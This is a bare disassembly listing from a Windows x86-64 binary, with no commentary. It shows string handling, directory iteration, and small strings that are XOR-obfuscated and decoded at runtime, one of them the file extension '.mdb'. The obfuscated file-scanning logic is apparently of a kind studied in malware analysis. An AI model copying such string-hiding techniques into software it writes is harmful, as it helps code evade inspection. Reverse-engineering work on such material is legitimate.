sub r8, rcx
lea rdx, [rcx + rbx]
add rdx, r12
add rcx, qword [rbp - 0x10]
call fcn.1400a7a30
lea rax, [rbp]
jmp 0x140064d75
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, dil
mov rdx, rbx
lea rcx, [rbp]
call fcn.14000c900
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4b0], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
bts r13d, 0xe
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x4a0]
movzx edx, sil
lea rcx, [rbp + 0x680]
call fcn.1400026c0
or r13d, 0x40
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0xf
jbe 0x140064e03
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064dfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657b2
call fcn.14007858c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140064e3e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064e39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657b8
call fcn.14007858c
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea rcx, [rbp + 0xb8]
call fcn.14003db00
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140064e9c
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064e97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657be
call fcn.14007858c
mov byte [rbp - 0x40], 0x3e
mov al, 0x10
mov cl, 0x53
mov dl, 0x5a
mov r8b, 0x5c
xor r9d, r9d
xor al, 0x3e
mov byte [rbp - 0x3f], al
xor cl, 0x3e
mov byte [rbp - 0x3e], cl
xor dl, 0x3e
mov byte [rbp - 0x3d], dl
xor r8b, 0x3e
mov byte [rbp - 0x3c], r8b
mov byte [rbp - 0x3b], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], rbx
lea rax, [rbp - 0x3f]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x140064ef0
lea rdx, [rbp - 0x3f]
lea rcx, [rbp + 0x290]
call fcn.140001740
nop
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x20]
cmp qword [rax + 0x38], 7
jbe 0x140064f1d
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
lea rbx, [rcx + rax*2]
mov rdx, rbx
call fcn.14003d2a0
mov r12, rax
mov r8d, 0x3a
mov rdx, rbx
mov rcx, rax
call fcn.140076f70
mov rdx, rax
mov rcx, r12
call fcn.14003d250
sub rax, r12
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
xor ecx, ecx
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x110], rcx
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0xf8]
call fcn.14003bc60
or r13d, 0x38000
lea rax, [rbp + 0xf8]
cmp qword [rbp + 0x110], 7
cmova rax, qword [rbp + 0xf8]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x378], rax
movaps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x4c0], xmm0
lea r8, [rbp - 0x18]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x270]
call fcn.14003be80
or r13d, 0xc0000
mov dword [rsp + 0x38], r13d
movdqa xmm1, xmmword [0x1400b8f70]
movdqu xmmword [rsp + 0x50], xmm1
mov cl, 0x7f
mov r8b, 0x3e
mov r9b, 0x61
mov r10b, 0x74
movzx r11d, r10b
mov bl, 0x63
mov r12b, 0x4e
mov r13b, 0x75
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor cl, dl
mov byte [rsp + 0x60], cl
xor r8b, dl
mov byte [rsp + 0x61], r8b
xor r9b, dl
mov byte [rsp + 0x62], r9b
xor r10b, dl
mov byte [rsp + 0x63], r10b
xor r11b, dl
mov byte [rsp + 0x64], r11b
xor bl, dl
mov byte [rsp + 0x65], bl
xor r12b, dl
mov byte [rsp + 0x66], r12b
xor r13b, dl
mov byte [rsp + 0x67], r13b
mov al, 0x73
xor al, dl
mov byte [rsp + 0x68], al
mov al, 0x3e
xor al, dl
mov byte [rsp + 0x69], al
mov byte [rsp + 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xor r12d, r12d
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r12
lea rax, [rsp + 0x51]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r12b
jne 0x1400650d2
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x250]
call fcn.140001740
nop
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x250]
movzx edx, r14b
lea rcx, [rbp + 0x510]
call fcn.1400026c0
mov r13d, dword [rsp + 0x38]
or r13d, 0x10
lea r9, [rbp + 0x290]
lea r8, [rbp + 0x510]
movzx edx, r15b
lea rcx, [rbp + 0x660]
call fcn.1400026c0
or r13d, 0x20
mov dword [rsp + 0x38], r13d
mov rdx, qword [rbp + 0x528]
cmp rdx, 0xf
jbe 0x14006517d
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065177
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657c4
call fcn.14007858c
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x1400651bf
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400651b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657ca
call fcn.14007858c
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140065200
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400651fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657d0
call fcn.14007858c
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], 0
lea rcx, [rbp + 0xf8]
call fcn.14003db00
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140065267
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065262
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657d6
call fcn.14007858c
lea rdx, [rbp + 0x680]
cmp qword [rbp + 0x698], 0xf
cmova rdx, qword [rbp + 0x680]
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], r12
mov qword [rbp + 0x318], r12
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400652a0
lea rcx, [rbp + 0x300]
call fcn.140001740
mov r9d, 8
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0x600]
lea rcx, [0x1400d87a0]
call fcn.140071ad0
nop
lea rax, [rbp + 0x78]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], r12
mov r12, qword [rbp + 0x610]
lea rax, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rax, qword [rbp + 0x600]
mov qword [rsp + 0x40], rax
movabs rcx, 0x7fffffffffffffff
cmp r12, rcx
ja 0x1400657fa
mov qword [rbp + 0x90], 0xf
cmp r12, 0xf
ja 0x14006534e
mov qword [rbp + 0x88], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
jmp 0x1400653e9
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x14006536d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140065394
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400653b6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400657e2
mov rcx, rax
call fcn.140078550
mov rcx, rax
test rax, rax
je 0x1400657dc
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400653c4
test rcx, rcx
je 0x1400653c2
call fcn.140078550
jmp 0x1400653c4
xor eax, eax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], rbx
lea r8, [r12 + 1]
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400a7a30
nop
lea rdx, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
cmova rdx, qword [rbp + 0x660]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
xor ebx, ebx
mov qword [rbp + 0x3f0], rbx
mov qword [rbp + 0x3f8], rbx
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rdx + r8], bl
jne 0x140065424
lea rcx, [rbp + 0x3e0]
call fcn.140001740
nop
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x3e0]
lea rcx, [0x1400d86b0]
call fcn.140026630
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140065493
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006548e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657e8
call fcn.14007858c
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x1400654ee
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400654e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657ee
call fcn.14007858c
nop
mov rdx, qword [rbp + 0x698]
cmp rdx, 0xf
jbe 0x140065538
inc rdx
mov rcx, qword [rbp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006552a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400657f4
call fcn.14007858c
jmp 0x140065538
mov r12, 0xffffffffffffffff
lea rcx, [rbp + 0x570]
call fcn.14003d130
test eax, eax
jne 0x140065800
mov rax, qword [rsp + 0x48]
jmp 0x140064860
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x140065590
mov eax, r12d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140065590
mov rbx, qword [rbp + 0x70]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r12d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140065590
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rbp + 0x578]
test rcx, rcx
je 0x1400655d3
mov eax, r12d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400655d3
mov rbx, qword [rbp + 0x578]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r12d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400655d3
mov rcx, qword [rbp + 0x578]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140065615
mov eax, r12d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140065615
mov rbx, qword [rbp + 0x568]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r12d
cmp r12d, 1
jne 0x140065615
mov rcx, qword [rbp + 0x568]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0xf
jbe 0x140065656
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065651
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006580f
call fcn.14007858c
xor edi, edi
mov qword [rbp + 0x5a0], rdi
mov qword [rbp + 0x5a8], 0xf
mov byte [rbp + 0x590], dil
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0xf
jbe 0x1400656b2
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400656ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140065747
call fcn.14007858c
mov qword [rbp + 0x5c0], rdi
mov qword [rbp + 0x5c8], 0xf
mov byte [rbp + 0x5b0], 0
mov rbx, qword [rbp + 0x128]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140065708
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140065703
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006574d
mov rcx, r8
call fcn.14007858c
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0x6a0]
xor rcx, rsp
call fcn.1400786a0
lea r11, [rsp + 0x7b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
lea r8, [rbp + 0x440]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14003da10
nop
call fcn.1400046c0
nop
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.14003d9b0
nop
lea r8, [rbp + 0x480]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14003da10
nop
mov ecx, dword [rsp + 0x44]
call fcn.14003dac0
int3
mov ecx, dword [rbp - 0xc]
call fcn.14003dac0
int3
mov ecx, 0x16
call fcn.14003da80
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
int3
call fcn.140004660
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.1400046c0
nop
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.14003d9b0
nop
call fcn.14007f7cc
int3